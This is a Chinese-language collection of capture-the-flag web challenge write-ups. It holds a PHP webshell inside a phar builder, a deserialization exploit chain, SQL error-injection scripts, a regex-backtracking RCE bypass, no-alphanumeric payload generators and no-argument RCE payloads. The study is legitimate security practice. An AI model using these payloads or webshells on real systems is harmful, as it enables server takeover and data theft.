目录
[NSSCTF 2022 Spring Recruit]babyphp
[CISCN 2019华东南]Web11
打开看了一下没发现什么,但是网页上又Public IP,在页面上也发现了IP回显。
猜测是ssti,尝试一下。
还不知道过滤了什么,尝试一下过滤情况,发现并没有过滤。
刚开始使用了{if}标签来注入,但后来发现可以直接命令执行。
直接查看flag即可。(记得使用bp来注入,hackbar直接注入我一直没成功)
[NISACTF 2022]bingdundun~
简单的phar反序列化,没有任何过滤。
Phar反序列化脚本(本地可以直接实现用)
<?php
$phar = new Phar(" shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.php", '<?php @eval($_POST[feng]);?>');
$phar->stopBuffering();
?>
访问本地后直接改后缀为zip上传即可。
[NISACTF 2022]babyserialize
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
存在waf,过滤了一些函数和符号。
发现可以直接从NISA类中的wakeup直接跳到Ilovetxw类中的toString,然后再利用return直接跳到NISA中的__invoke函数。
Exp:
<?php
class NISA{
public $txw4ever = 'sYSTEM("nl f*");';
}
class Ilovetxw{
}
$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
echo urlencode(serialize($a));
paylaod:
O%3A4%3A%22NISA%22%3A2%3A%7Bs%3A8%3A%22txw4ever%22%3Bs%3A17%3A%22sYSTEM%28%22nl+%2Ff%2A%22%29%3B%22%3Bs%3A3%3A%22fun%22%3BO%3A8%3A%22Ilovetxw%22%3A1%3A%7Bs%3A2%3A%22su%22%3Br%3A1%3B%7D%7D
[NISACTF 2022]join-us
Join报错注入。
其中用到了无列名注入,mid函数截取。
脚本:
import requests
url = 'http://1.14.71.254:28459/dl.php'
#payload = "1' || (select * from abc)#"#数据库
#payload = "1' || extractvalue(1,concat(0x07, (select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'), 0x07))#"#获取表名
# payload = "1' || extractvalue(1,concat(1, (select * from(select * from output a join output b)c), 3))#"#data列
#payload = "1' || extractvalue(1,concat(0x07, (select * from output), 0x07))#"#第一部分flag
payload = "1' || extractvalue(1,concat(0x07, (select mid(data,25) from output), 0x07))#"
data={
"tt" : payload
}
r = requests.post(url=url,data=data)
print(r.text)
[NISACTF 2022]middlerce
首先利用回溯次数限制绕过preg_match,使其返回false。
之后发现eval无法回显数据,且echo函数被过滤,所以利用了短标签来绕过无法回显的问题。
脚本:
import requests
payload = '{"cmd":"?><?= `nl /fl*`?>", "#":"'+"#"*(1000000) + '"}' #$换成特殊符号也可以
r = requests.post("http://1.14.71.254:28071/",data = {"letter":payload})
print(r.text)
[鹏城杯 2022]简单的php
这一题现在看来是挺简单的,没有函数过滤。
两个点,无字母数字命令执行和无参构造rce,一点一点讲解。
首先就是无字母数字命令执行:
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客
代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
取反:
<?php
$a=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
$b=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '(~'.urlencode(~$a).')(~'.urlencode(~$b).');';
异或:
下边是yu师傅的脚本:
Php脚本:
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
python脚本:
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
异或和或类似。
下边是无参rce:
思路就是通过没有参数的函数达到命令执行的目的。
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
几种payload:
eval(hex2bin(session_id(session_start())));
print_r(current(get_defined_vars()));&b=phpinfo();
eval(next(getallheaders()));
var_dump(getenv(phpinfo()));
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件
本题可以利用getallheaders函数来构造。
getallheaders返回当前请求的所有请求头信息
system(current(getallheaders()));
直接可以达到命令执行的目的。
Payload:
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
[NSSCTF 2022 Spring Recruit]babyphp
数组加md5弱比较绕过。
Payload:
a[]=1&b1[]=1&b2[]=2&c1=s214587387a&c2=s155964671a